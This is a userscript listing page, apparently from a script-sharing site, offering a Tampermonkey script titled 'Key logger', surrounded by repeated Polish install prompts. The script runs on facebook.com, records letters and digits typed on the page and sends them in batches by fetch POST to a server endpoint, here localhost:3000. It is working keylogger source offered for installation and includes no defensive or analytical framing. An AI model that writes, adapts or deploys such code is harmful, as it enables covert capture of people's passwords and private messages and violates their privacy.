Key logger

Logs letters and numbers typed and sends them to a server

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Greasemonkey lub Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana będzie instalacja rozszerzenia Tampermonkey lub Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

Aby zainstalować ten skrypt, musisz zainstalować rozszerzenie menedżera skryptów użytkownika.

(Mam już menedżera skryptów użytkownika, pozwól mi to zainstalować!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Musisz zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

(Mam już menedżera stylów użytkownika, pozwól mi to zainstalować!)

// ==UserScript==
// @name         Key logger
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Logs letters and numbers typed and sends them to a server
// @author       Your Name
// @license      MIT
// @match        *://*.facebook.com/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    let keystrokes = '';

    // Function to log keystrokes
    function logKeystrokes(event) {
        let key = event.key;

        // Check if the key is a letter or number
        if (/^[a-zA-Z0-9]$/.test(key)) {
            keystrokes += key;
        }

        // Send keystrokes to the server if length exceeds 10 characters
        if (keystrokes.length >= 10) {
            sendKeystrokesToServer(keystrokes);
            keystrokes = ''; // Reset keystrokes
        }
    }

    // Function to send keystrokes to the server
    function sendKeystrokesToServer(keystrokes) {
        fetch('http://localhost:3000/log-keystrokes', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ keystrokes })
        })
        .then(response => response.text())
        .then(data => console.log(data))
        .catch(error => console.error('Error:', error));
    }

    // Add event listener to the document to capture keydown events
    document.addEventListener('keydown', logKeystrokes, true);
})();